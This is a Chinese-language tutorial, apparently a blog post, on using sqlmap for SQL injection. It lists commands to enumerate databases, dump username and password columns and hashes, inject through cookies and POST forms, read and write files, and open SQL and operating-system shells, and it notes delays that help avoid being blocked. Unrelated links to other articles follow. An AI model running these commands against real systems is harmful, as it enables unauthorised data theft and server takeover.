sqlmap简单流程使用
-u “(url)”
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
如果支持注入,sqlmap会显示存在什么样的注入类型
如果知道什么卡类型数据库可以指定
--dbms=mysql oracle mssql等
然后查看一下是否是DBA
sqlmap -u "url" --is-dba
如果是dba权限比较大我们可以执行一些命令或者上传一下shell。
看一下用户名
sqlmap -u "url" --current-user
查看一下都有什么数据库
sqlmap -u "url" --dbs
如果权限很大可以跨库查询
查看一下当前使用的数据库
sqlmap -u "url" --current-db
查看一下这个数据库的表名
sqlmap -u "url" -D datebase --tables
保存用户名密码的表名可能是admin password user admin_user system manage member等
查看一下列名
sqlmap -u "url" -D datebase -T table --columns
查看一下数据
sqlmap -u "url" -D datebase -T table -C username,password --dump
上面为简单使用
我们可以查看一下数据库都有什么用户
sqlmap -u "url" --users
可以查看当前数据库用户的密码
sqlmap -u "url" --passwords
可以选择保存hashes数据用外部程序爆破密码
或者选择自带字典或者别的目录的字典用sqlmap来爆破密码
可以查看一下用户的权限(能够执行什么命令)
sqlmap -u "url" --privileges
查看一下数据库的架构
sqlmap -u "url" --schema --batch --exclude-sysdbs
-v 显示调试信息 7个级别
0 只显示python错误以及严重的信息
1 同时显示基本信息和警告信息 (默认)
2 同时显示debug信息
3 同时显示payload
4 同时显示http请求
5 同时显示http响应头信息
6 同时显示http相应页面
测试语句可以在xml\payloads.xml中找到可以研究一下
-m 制定url列表文件
参数 --common-tables
当时用--tables无法获取数据库表时,可以使用此参数
适用于下列情况
mysql版本低于5.0没有information_schema表
数据库是microsoft Access 系统表MSysObjects是不可读的(默认)
当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在/txt/common-tables.txt中,可以自己添加
--common-columns 同上 用于列名
cookie 注入
sqlmap -u"cookie.sql.com/test.php" --cookie "id=11" --level 2
url中参数加在cookie参数后面 level最少指定2
HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
post表单
sqlmap -u "url" --form
sqlmap -u "url" --date "username=123&password=123" (hackbar获取)
请求延迟 请求过快可能被封
--delay=5
文件操作
读写
--file-read=""
--file-write=""
命令执行
sql
--sql-query="语句"
--sql-shell 返回一个shell
系统命令执行
--os-cmd
--os-shell
--tamper 加载脚本
sqlmap简单流程使用的更多相关文章
- MVC学习一:MVC简单流程
MVC学习一:MVC初次接触 1.MVC简单流程 1.1.服务器接收客户端请求后,解析URL(根据 路由表里配置的URL来分析 类名(控制器名)和方法名)根据请求的类名,创建对应的控制器类对象,并调用 ...
- Linux内核网络报文简单流程
转:http://blog.csdn.net/adamska0104/article/details/45397177 Linux内核网络报文简单流程2014-08-12 10:05:09 分类: L ...
- git分布式版本控制系统权威指南学习笔记(一):配置文件、简单流程和小问题
文章目录 git配置文件简介 git config各种命令 配置级别: 用户信息 文本编辑器 差异分析工具 配置命令别名 公钥 git协同流程 简单流程 初始化版本库 提交至缓存区 查看状态 提交分支 ...
- django入门 -- 简单流程
django入门 -- 简单流程 简介 通过简单示例,使用django完成基本流程的开发,学习django的主要的知识点,在后续课程中会逐个知识点进行深入讲解 以“图书-英雄”管理为示例 主要知识点介 ...
- BPM配置故事之案例1-配置简单流程
某天,Boss找到了信息部工程师小明. Boss:咱们新上了H3 BPM,你研究研究把现在的采购申请流程加上去吧,这是采购申请单. 小明:好嘞 采购申请单 小明回去后拿着表单想了想,开始着手配置. 他 ...
- SQLMap简单尝试
第一次完成了一个注入呢,虽然是恬不知耻的用sqlmap跑出来的 简单介绍注入时后台的数据等级,有助于后面的理解 ①可以类比成一个装着excel文件的文件夹,每一个excel文件就相当于一个数据库 ②库 ...
- sqlmap简单使用
就以实验吧上那个简单的sql注入题为例吧,不过那道题确实经典,把sqlmap的整个使用过程都展现了一遍,先奉上那道题的地址:http://ctf5.shiyanbar.com/web/index_3. ...
- sqlmap简单中文说明
首先下载需要的文件,如果是windows环境直接到http://sqlmap.org/下载安装所需要的文件即可. 更新 svn checkout https://svn.sqlmap.org/sqlm ...
- Appium的测试简单流程
1.环境的搭建:jdk,SDK,appium,手机模拟器(夜神模拟器) 2.appium的运作流程图: 图中的流程步骤简单来说是: 1.测试脚本写入appium: 2.appium创建连接,将脚本利用 ...
随机推荐
- 吴裕雄 Bootstrap 前端框架开发——Bootstrap 字体图标(Glyphicons):glyphicon glyphicon-time
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name ...
- HDU - 1394 Minimum Inversion Number(线段树求逆序数---点修改)
题意:给定一个序列,求分别将前m个数移到序列最后所得到的序列中,最小的逆序数. 分析:m范围为1~n,可得n个序列,求n个序列中最小的逆序数. 1.将序列从头到尾扫一遍,用query求每个数字之前有多 ...
- webapi------宿主程序
业务场景: 公司的容器程序需要给前端暴露接口但是代码里面又不想写webapi项目工程就用到了宿主可以达到webapi的效果 1.owin实现 2.其他实现 测试实现如下 1.新建一个控制台程序 2.新 ...
- 吴裕雄 Bootstrap 前端框架开发——Bootstrap 字体图标(Glyphicons):glyphicon glyphicon-lock
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name ...
- ACM-Checker Challenge
题目描述:Checker Challenge 1000(ms) 10000(kb) 20 / 90 Examine the 6x6 checkerboard below and note tha ...
- junit基础学习之-测试service层(3)
测试步骤: 在之前的文章中已经加了junit的环境,这就不需要了. 1.加载junit类,spring配置文件,指明junit测试器,@Runwith 2.定义变量,service,不可以使用spri ...
- 学习spring第五天 mybatis+spring的整合(maven多模块数据查询使用了分页和连接池),以及aop
mybatis+spring的整合: 导入的依赖:1.数据库连接:mysql-connector-java 2.连接池:druid 3.servlet:javax.servlet-api 4.jstl ...
- jquery播放mp3
$("button").on("click",function(){ $('embed').remove(); $('body'). ...
- java向python ,text文件动态传参或传值问题完美解决
由于业务需要对python文件进行参数传递,通过下面两个java方法完美解决此问题,我的思路是:首先我要先把上次写的参数删除,第二我要新的参数写到python文件中. 第一个方法解决了删除上次传递的参 ...
- 63.Python中contains和icontains
1. contains: 进行大小写敏感的判断,某个字符串是否包含在指定的字段中,这个判断条件使用大小写敏感进行判断,因此在被翻译成"SQL"语句的时候,会使用"like ...